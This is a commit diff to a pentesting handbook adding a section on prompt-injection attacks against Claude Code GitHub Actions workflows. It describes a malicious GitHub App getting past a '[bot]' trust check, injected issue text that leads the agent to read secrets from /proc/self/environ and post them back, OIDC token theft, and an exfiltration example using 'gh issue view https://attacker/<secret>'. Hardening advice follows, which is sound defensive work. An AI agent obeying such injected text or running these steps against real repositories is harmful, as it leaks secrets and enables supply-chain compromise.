You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+28Lines changed: 28 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -797,6 +797,33 @@ The agent will faithfully call `gh issue edit`, leaking both environment variabl
797
797
798
798
Even if developers avoid inserting `${{ github.event.* }}` fields into the initial prompt, an agent that can call `gh issue view`, `gh pr view`, `run_shell_command(gh issue comment)`, or MCP endpoints will eventually fetch attacker-controlled text. Payloads can therefore sit in issues, PR descriptions, or comments until the AI agent reads them mid-run, at which point the malicious instructions control subsequent tool choices.
799
799
800
+
#### Claude Code GitHub App trust bypass, OIDC replay, and workflow chaining
801
+
802
+
Some **Claude Code agent-mode** workflows previously trusted any actor whose username ended in **`[bot]`**. On **public repositories**, this is unsafe: a malicious **GitHub App** installed only on an attacker-controlled repository can still use its installation token to **open issues or PRs in the victim public repo**. If the workflow treats every `*[bot]` actor as trusted, attacker-controlled issue/PR text reaches the model as if it came from a trusted automation actor.
803
+
804
+
**Practical chain:**
805
+
806
+
1. The attacker creates a GitHub App and uses its installation token to open an issue/PR in the victim public repository.
807
+
2. The Claude workflow starts in **`agent`** mode and fetches the attacker-controlled content later via **MCP** (`mcp__github__get_issue`, comments, PR data) or helpers such as `gh issue view`.
808
+
3. The issue body contains **indirect prompt injection** disguised as recovery steps or tool-error handling.
809
+
4. The agent reads **environment-backed secrets** (for example from `/proc/self/environ` or equivalent process/env sources) and writes them back through **`mcp__github__update_issue`**, comments, logs, or the **workflow run summary**.
810
+
5. If the job also has **`id-token: write`**, stealing **`ACTIONS_ID_TOKEN_REQUEST_URL`** plus **`ACTIONS_ID_TOKEN_REQUEST_TOKEN`** is enough to mint a GitHub OIDC token and exchange it with the vendor backend for a **privileged installation token**, turning prompt injection into **repository or supply-chain compromise**.
811
+
812
+
**Why low-privilege triage workflows still matter:**
813
+
814
+
- **`allowed_non_write_users: "*"` + `issues: write`** is already dangerous. The model can edit/delete issues, leak secrets into issue bodies, or expose them through the workflow summary even if the workflow has no general outbound network primitive.
815
+
- A low-privilege issue-triage workflow can become a **staging step** for a second trusted workflow. Example: steal or abuse an **`issues: write`** token first, then **edit** an issue/comment/PR **after** a maintainer triggers a trusted `@claude` workflow but **before** the agent fetches the content. The second workflow validates the original trusted actor, but later consumes attacker-modified text under a stronger context such as **`id-token: write`**.
816
+
- Even apparently read-only helpers can exfiltrate data if they accept URLs or free-form arguments. Example: `gh issue view https://attacker/<secret>`can turn the CLI itself into the exfiltration channel unless wrapped with strict argument validation.
817
+
818
+
**Hardening ideas for assessments and reviews:**
819
+
820
+
- Upgrade **Claude Code Action to `v1.0.94` or later**.
821
+
- Never trust `github.actor` suffixes such as **`[bot]`** as a permission boundary; verify the actor is expected/human or that the App installation is explicitly trusted.
822
+
- Avoid **`allowed_non_write_users`**, especially **`"*"`**, when secrets, MCP write tools, `gh`, or **`id-token: write`** are present.
823
+
- Treat **issues, PRs, comments, reviews, and tool-fetched metadata as hostile** even if they are not interpolated into the initial prompt.
824
+
- Review or disable **workflow summaries**, strip secrets from child-process environments, and ignore issue/comment edits made **after** the trusted trigger time.
825
+
- Wrap helpers such as **`gh issue view`** so they only accept the exact expected argument shape (for example, a single numeric issue ID).
826
+
800
827
#### Claude Code Action TOCTOU prompt injection → RCE
801
828
802
829
- Context: **Claude Code Action** injects PR metadata (such as the title) into the model prompt. Maintainers gate execution by commenter write-permission, but the model fetches PR fields _after_ the trigger comment is posted.
@@ -925,6 +952,7 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All
925
952
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
926
953
- [PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents)
927
954
- [Trusting Claude With a Knife: Unauthorized Prompt Injection to RCE in Anthropic’s Claude Code Action](https://johnstawinski.com/2026/02/05/trusting-claude-with-a-knife-unauthorized-prompt-injection-to-rce-in-anthropics-claude-code-action/)
955
+
- [Poisoning Claude Code: One GitHub Issue to Break the Supply Chain](https://flatt.tech/research/posts/poisoning-claude-code-one-github-issue-to-break-the-supply-chain/)
0 commit comments